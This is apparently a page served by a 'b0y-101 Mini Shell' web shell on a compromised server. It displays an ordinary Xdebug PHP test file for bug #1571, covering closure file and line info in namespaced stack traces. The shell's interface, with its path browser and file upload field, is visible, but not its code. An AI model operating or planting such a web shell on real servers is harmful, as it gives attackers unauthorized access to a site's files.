b0y-101 Mini Shell


Current Path : E:/www/b-group.old/spfin - Copy/mainpay/src/xdebug/tests/tracing/
File Upload :
Current File : E:/www/b-group.old/spfin - Copy/mainpay/src/xdebug/tests/tracing/bug01571-001.phpt

--TEST--
Test for bug #1571: Stack traces don't show file/line for closures in namespaces
--INI--
xdebug.mode=trace
xdebug.start_with_request=no
xdebug.collect_return=1
xdebug.collect_assignments=0
xdebug.trace_format=0
--FILE--
<?php
namespace A;

require_once 'capture-trace.inc';

$a = function(){

};
$a(1, $a);

xdebug_stop_trace();
?>
--EXPECTF--
TRACE START [%d-%d-%d %d:%d:%d.%d]
%w%f %w%d     -> A\{closure:%sbug01571-001.php:6-8}(1, class Closure { virtual $closure = "A\{closure}" }) %sbug01571-001.php:9
%w%f %w%d     -> xdebug_stop_trace() %sbug01571-001.php:11
%w%f %w%d
TRACE END   [%d-%d-%d %d:%d:%d.%d]

Copyright © 2019 by b0y-101